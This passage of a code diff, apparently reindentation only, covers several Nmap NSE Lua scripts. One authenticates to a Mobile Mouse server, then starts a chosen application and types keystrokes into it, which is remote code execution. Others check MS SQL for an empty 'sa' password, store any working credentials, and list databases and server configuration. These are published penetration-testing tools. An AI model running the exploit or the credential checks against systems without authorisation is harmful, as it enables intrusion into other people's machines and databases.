|
||||||
port.version.version = version_info.VERSION
|
port.version.version = version_info.VERSION
|
||||||
port.version.ostype = version_info.SYSNAME
|
port.version.ostype = version_info.SYSNAME
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -50,130 +50,130 @@ local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
|
|||||||
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
||||||
|
|
||||||
local function receiveData(socket, cmd)
|
local function receiveData(socket, cmd)
|
||||||
local status, data = ""
|
local status, data = ""
|
||||||
repeat
|
repeat
|
||||||
status, data = socket:receive_buf("\04", true)
|
status, data = socket:receive_buf("\04", true)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive data from server"
|
return false, "Failed to receive data from server"
|
||||||
end
|
end
|
||||||
until( cmd == nil or data:match("^" .. cmd) )
|
until( cmd == nil or data:match("^" .. cmd) )
|
||||||
return true, data
|
return true, data
|
||||||
end
|
end
|
||||||
|
|
||||||
local function authenticate(socket, password)
|
local function authenticate(socket, password)
|
||||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||||
local devname = "Lord Vaders iPad"
|
local devname = "Lord Vaders iPad"
|
||||||
local suffix = "2".."\30".."2".."\04"
|
local suffix = "2".."\30".."2".."\04"
|
||||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||||
|
|
||||||
local status = socket:send(auth)
|
local status = socket:send(auth)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send data to server"
|
return false, "Failed to send data to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, data = receiveData(socket)
|
local status, data = receiveData(socket)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive data from server"
|
return false, "Failed to receive data from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
|
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
|
||||||
|
|
||||||
if ( success == "YES" ) then
|
if ( success == "YES" ) then
|
||||||
if ( os ~= 'MAC' ) then
|
if ( os ~= 'MAC' ) then
|
||||||
return false, "Non MAC platform detected, script has only been tested on MAC"
|
return false, "Non MAC platform detected, script has only been tested on MAC"
|
||||||
end
|
end
|
||||||
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
|
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
|
||||||
return false, "Failed to send request to server"
|
return false, "Failed to send request to server"
|
||||||
end
|
end
|
||||||
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
|
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
|
||||||
return false, "Failed to send request to server"
|
return false, "Failed to send request to server"
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
return false, "Authentication failed"
|
return false, "Authentication failed"
|
||||||
end
|
end
|
||||||
|
|
||||||
local function processSwitchMode(socket, swmode)
|
local function processSwitchMode(socket, swmode)
|
||||||
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
|
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
|
||||||
if ( m ~= "SWITCHMODE") then
|
if ( m ~= "SWITCHMODE") then
|
||||||
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
|
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
|
||||||
return false, "Failed to parse SWITCHMODE"
|
return false, "Failed to parse SWITCHMODE"
|
||||||
end
|
end
|
||||||
|
|
||||||
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
|
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
|
||||||
local status = socket:send(str)
|
local status = socket:send(str)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send data to server"
|
return false, "Failed to send data to server"
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function executeCmd(socket, app, keys)
|
local function executeCmd(socket, app, keys)
|
||||||
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
|
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
|
||||||
local status = socket:send(exec)
|
local status = socket:send(exec)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send data to server"
|
return false, "Failed to send data to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, data = receiveData(socket)
|
local status, data = receiveData(socket)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive data from server"
|
return false, "Failed to receive data from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( arg_delay ) then
|
if ( arg_delay ) then
|
||||||
stdnse.sleep(tonumber(arg_delay))
|
stdnse.sleep(tonumber(arg_delay))
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( keys ) then
|
if ( keys ) then
|
||||||
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
|
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
|
||||||
if ( not(socket:send(cmd)) ) then
|
if ( not(socket:send(cmd)) ) then
|
||||||
return false, "Failed to send data to the server"
|
return false, "Failed to send data to the server"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||||
local password = arg_password or (credentials and credentials.pass) or ""
|
local password = arg_password or (credentials and credentials.pass) or ""
|
||||||
|
|
||||||
if ( not(arg_app) ) then
|
if ( not(arg_app) ) then
|
||||||
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
|
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(arg_keys) ) then
|
if ( not(arg_keys) ) then
|
||||||
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
|
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
|
||||||
end
|
end
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
local status, err = socket:connect(host, port)
|
local status, err = socket:connect(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = authenticate(socket, password)
|
status, err = authenticate(socket, password)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(err)
|
return fail(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local data
|
local data
|
||||||
status, data = receiveData(socket, "SWITCHMODE")
|
status, data = receiveData(socket, "SWITCHMODE")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to receive expected response from server")
|
return fail("Failed to receive expected response from server")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(processSwitchMode(socket, data)) ) then
|
if ( not(processSwitchMode(socket, data)) ) then
|
||||||
return fail("Failed to process SWITCHMODE command")
|
return fail("Failed to process SWITCHMODE command")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
|
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
|
||||||
return fail("Failed to execute application")
|
return fail("Failed to execute application")
|
||||||
end
|
end
|
||||||
|
|
||||||
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
|
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -63,7 +63,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
|||||||
|
|
||||||
-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||||
|
|
||||||
author = "Patrik Karlsson"
|
author = "Patrik Karlsson"
|
||||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
@@ -80,78 +80,78 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
|||||||
--- Processes a set of instances
|
--- Processes a set of instances
|
||||||
local function process_instance( instance )
|
local function process_instance( instance )
|
||||||
|
|
||||||
local status, errorMessage
|
local status, errorMessage
|
||||||
local result, result_part = {}, {}
|
local result, result_part = {}, {}
|
||||||
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||||
or " WHERE configuration_id > 16384"
|
or " WHERE configuration_id > 16384"
|
||||||
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
|
||||||
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
|
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
|
|
||||||
local queries = {
|
local queries = {
|
||||||
[2]={ ["Configuration"] = [[ SELECT name,
|
[2]={ ["Configuration"] = [[ SELECT name,
|
||||||
cast(value as varchar) value,
|
cast(value as varchar) value,
|
||||||
cast(value_in_use as varchar) inuse,
|
cast(value_in_use as varchar) inuse,
|
||||||
description
|
description
|
||||||
FROM sys.configurations ]] .. conf_filter },
|
FROM sys.configurations ]] .. conf_filter },
|
||||||
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
|
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
|
||||||
FROM master..sysservers
|
FROM master..sysservers
|
||||||
WHERE srvid > 0 ]] },
|
WHERE srvid > 0 ]] },
|
||||||
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
|
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
|
||||||
dbid int, created datetime, status varchar(512), compatibility_level int )
|
dbid int, created datetime, status varchar(512), compatibility_level int )
|
||||||
INSERT INTO #nmap_dbs EXEC sp_helpdb
|
INSERT INTO #nmap_dbs EXEC sp_helpdb
|
||||||
SELECT name, db_size, owner
|
SELECT name, db_size, owner
|
||||||
FROM #nmap_dbs ]] .. db_filter .. [[
|
FROM #nmap_dbs ]] .. db_filter .. [[
|
||||||
DROP TABLE #nmap_dbs ]] }
|
DROP TABLE #nmap_dbs ]] }
|
||||||
}
|
}
|
||||||
|
|
||||||
status, errorMessage = helper:ConnectEx( instance )
|
status, errorMessage = helper:ConnectEx( instance )
|
||||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
status, errorMessage = helper:LoginEx( instance )
|
status, errorMessage = helper:LoginEx( instance )
|
||||||
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
if ( not(status) ) then result = "ERROR: " .. errorMessage end
|
||||||
end
|
end
|
||||||
|
|
||||||
for _, v in ipairs( queries ) do
|
for _, v in ipairs( queries ) do
|
||||||
if ( not status ) then break end
|
if ( not status ) then break end
|
||||||
for header, query in pairs(v) do
|
for header, query in pairs(v) do
|
||||||
status, result_part = helper:Query( query )
|
status, result_part = helper:Query( query )
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
result = "ERROR: " .. result_part
|
result = "ERROR: " .. result_part
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
result_part = mssql.Util.FormatOutputTable( result_part, true )
|
result_part = mssql.Util.FormatOutputTable( result_part, true )
|
||||||
result_part.name = header
|
result_part.name = header
|
||||||
table.insert( result, result_part )
|
table.insert( result, result_part )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
|
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
table.insert( instanceOutput, result )
|
table.insert( instanceOutput, result )
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local instanceOutput = process_instance( instance )
|
local instanceOutput = process_instance( instance )
|
||||||
if instanceOutput then
|
if instanceOutput then
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -49,9 +49,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
|||||||
|
|
||||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||||
-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
|
-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
|
||||||
-- - Added ability to run against all instances on a host;
|
-- - Added ability to run against all instances on a host;
|
||||||
-- - Added storage of credentials on a per-instance basis
|
-- - Added storage of credentials on a per-instance basis
|
||||||
-- - Added compatibility with changes in mssql.lua
|
-- - Added compatibility with changes in mssql.lua
|
||||||
|
|
||||||
author = "Patrik Karlsson"
|
author = "Patrik Karlsson"
|
||||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
@@ -62,121 +62,121 @@ hostrule = mssql.Helper.GetHostrule_Standard()
|
|||||||
portrule = mssql.Helper.GetPortrule_Standard()
|
portrule = mssql.Helper.GetPortrule_Standard()
|
||||||
|
|
||||||
local function test_credentials( instance, helper, username, password )
|
local function test_credentials( instance, helper, username, password )
|
||||||
local database = "tempdb"
|
local database = "tempdb"
|
||||||
|
|
||||||
local status, result = helper:ConnectEx( instance )
|
local status, result = helper:ConnectEx( instance )
|
||||||
local loginErrorCode
|
local loginErrorCode
|
||||||
if( status ) then
|
if( status ) then
|
||||||
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
|
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
|
||||||
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
|
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
|
||||||
end
|
end
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
|
|
||||||
local passwordIsGood, canLogin
|
local passwordIsGood, canLogin
|
||||||
if status then
|
if status then
|
||||||
passwordIsGood = true
|
passwordIsGood = true
|
||||||
canLogin = true
|
canLogin = true
|
||||||
elseif ( loginErrorCode ) then
|
elseif ( loginErrorCode ) then
|
||||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
|
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
|
||||||
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
|
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
|
||||||
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
|
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
|
||||||
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
|
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
|
||||||
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
|
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
|
||||||
end
|
end
|
||||||
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
|
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
|
||||||
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
|
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
|
||||||
SCRIPT_NAME, instance:GetName(), loginErrorCode )
|
SCRIPT_NAME, instance:GetName(), loginErrorCode )
|
||||||
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
|
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
|
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( passwordIsGood ) then
|
if ( passwordIsGood ) then
|
||||||
local loginResultMessage = "Login Success"
|
local loginResultMessage = "Login Success"
|
||||||
if loginErrorCode then
|
if loginErrorCode then
|
||||||
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
|
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
|
||||||
end
|
end
|
||||||
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
|
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
|
||||||
|
|
||||||
-- Add credentials for other ms-sql scripts to use but don't
|
-- Add credentials for other ms-sql scripts to use but don't
|
||||||
-- add accounts that need to change passwords
|
-- add accounts that need to change passwords
|
||||||
if ( canLogin ) then
|
if ( canLogin ) then
|
||||||
instance.credentials[ username ] = password
|
instance.credentials[ username ] = password
|
||||||
-- Legacy storage method (does not distinguish between instances)
|
-- Legacy storage method (does not distinguish between instances)
|
||||||
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
|
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
|
||||||
nmap.registry.mssqlusers[username]=password
|
nmap.registry.mssqlusers[username]=password
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Processes a single instance, attempting to detect an empty password for "sa"
|
--- Processes a single instance, attempting to detect an empty password for "sa"
|
||||||
local function process_instance( instance )
|
local function process_instance( instance )
|
||||||
|
|
||||||
-- One of this script's features is that it will report an instance's
|
-- One of this script's features is that it will report an instance's
|
||||||
-- in both the port-script results and the host-script results. In order to
|
-- in both the port-script results and the host-script results. In order to
|
||||||
-- avoid redundant login attempts on an instance, we will just make the
|
-- avoid redundant login attempts on an instance, we will just make the
|
||||||
-- attempt once and then re-use the results. We'll use a mutex to make sure
|
-- attempt once and then re-use the results. We'll use a mutex to make sure
|
||||||
-- that multiple script instances (e.g. a host-script and a port-script)
|
-- that multiple script instances (e.g. a host-script and a port-script)
|
||||||
-- working on the same SQL Server instance can only enter this block one at
|
-- working on the same SQL Server instance can only enter this block one at
|
||||||
-- a time.
|
-- a time.
|
||||||
local mutex = nmap.mutex( instance )
|
local mutex = nmap.mutex( instance )
|
||||||
mutex( "lock" )
|
mutex( "lock" )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
|
|
||||||
-- If this instance has already been tested (e.g. if we got to it by both the
|
-- If this instance has already been tested (e.g. if we got to it by both the
|
||||||
-- hostrule and the portrule), don't test it again. This will reduce the risk
|
-- hostrule and the portrule), don't test it again. This will reduce the risk
|
||||||
-- of locking out accounts.
|
-- of locking out accounts.
|
||||||
if ( instance.tested_empty ~= true ) then
|
if ( instance.tested_empty ~= true ) then
|
||||||
instance.tested_empty = true
|
instance.tested_empty = true
|
||||||
|
|
||||||
instance.credentials = instance.credentials or {}
|
instance.credentials = instance.credentials or {}
|
||||||
instance.ms_sql_empty = instance.ms_sql_empty or {}
|
instance.ms_sql_empty = instance.ms_sql_empty or {}
|
||||||
|
|
||||||
if not instance:HasNetworkProtocols() then
|
if not instance:HasNetworkProtocols() then
|
||||||
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
|
||||||
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
|
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
|
||||||
end
|
end
|
||||||
|
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
test_credentials( instance, helper, "sa", "" )
|
test_credentials( instance, helper, "sa", "" )
|
||||||
end
|
end
|
||||||
|
|
||||||
-- The password testing has been finished. Unlock the mutex.
|
-- The password testing has been finished. Unlock the mutex.
|
||||||
mutex( "done" )
|
mutex( "done" )
|
||||||
|
|
||||||
local instanceOutput
|
local instanceOutput
|
||||||
if ( instance.ms_sql_empty ) then
|
if ( instance.ms_sql_empty ) then
|
||||||
instanceOutput = {}
|
instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
for _, message in ipairs( instance.ms_sql_empty ) do
|
for _, message in ipairs( instance.ms_sql_empty ) do
|
||||||
table.insert( instanceOutput, message )
|
table.insert( instanceOutput, message )
|
||||||
end
|
end
|
||||||
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
|
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
|
||||||
table.insert( instanceOutput, "'sa' account password is not blank." )
|
table.insert( instanceOutput, "'sa' account password is not blank." )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local instanceOutput = process_instance( instance )
|
local instanceOutput = process_instance( instance )
|
||||||
if instanceOutput then
|
if instanceOutput then
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
|
|||||||
|
|
||||||
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||||
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
|
||||||
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
-- added compatibility with changes in mssql.lua (Chris Woodbury)
|
||||||
|
|
||||||
author = "Patrik Karlsson"
|
author = "Patrik Karlsson"
|
||||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
@@ -82,95 +82,95 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
|||||||
|
|
||||||
local function process_instance( instance )
|
local function process_instance( instance )
|
||||||
|
|
||||||
local status, result, rs
|
local status, result, rs
|
||||||
local query, limit
|
local query, limit
|
||||||
local output = {}
|
local output = {}
|
||||||
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
|
||||||
|
|
||||||
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
|
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
|
||||||
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
|
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
|
||||||
|
|
||||||
if ( RS_LIMIT <= 0 ) then
|
if ( RS_LIMIT <= 0 ) then
|
||||||
limit = ""
|
limit = ""
|
||||||
else
|
else
|
||||||
limit = string.format( "TOP %d", RS_LIMIT )
|
limit = string.format( "TOP %d", RS_LIMIT )
|
||||||
end
|
end
|
||||||
|
|
||||||
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
|
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
|
||||||
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
|
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
|
||||||
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
|
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
|
||||||
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
|
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
|
||||||
|
|
||||||
|
|
||||||
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
|
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
|
||||||
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
|
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
|
||||||
"DROP TABLE #hasaccess" }
|
"DROP TABLE #hasaccess" }
|
||||||
|
|
||||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||||
if ( not creds ) then
|
if ( not creds ) then
|
||||||
output = "ERROR: No login credentials."
|
output = "ERROR: No login credentials."
|
||||||
else
|
else
|
||||||
for username, password in pairs( creds ) do
|
for username, password in pairs( creds ) do
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
status, result = helper:ConnectEx( instance )
|
status, result = helper:ConnectEx( instance )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
output = "ERROR: " .. result
|
output = "ERROR: " .. result
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
status = helper:Login( username, password, nil, instance.host.ip )
|
status = helper:Login( username, password, nil, instance.host.ip )
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
for _, q in pairs(query) do
|
for _, q in pairs(query) do
|
||||||
status, result = helper:Query( q )
|
status, result = helper:Query( q )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
-- Only the SELECT statement should produce output
|
-- Only the SELECT statement should produce output
|
||||||
if ( #result.rows > 0 ) then
|
if ( #result.rows > 0 ) then
|
||||||
rs = result
|
rs = result
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
|
|
||||||
if ( status and rs ) then
|
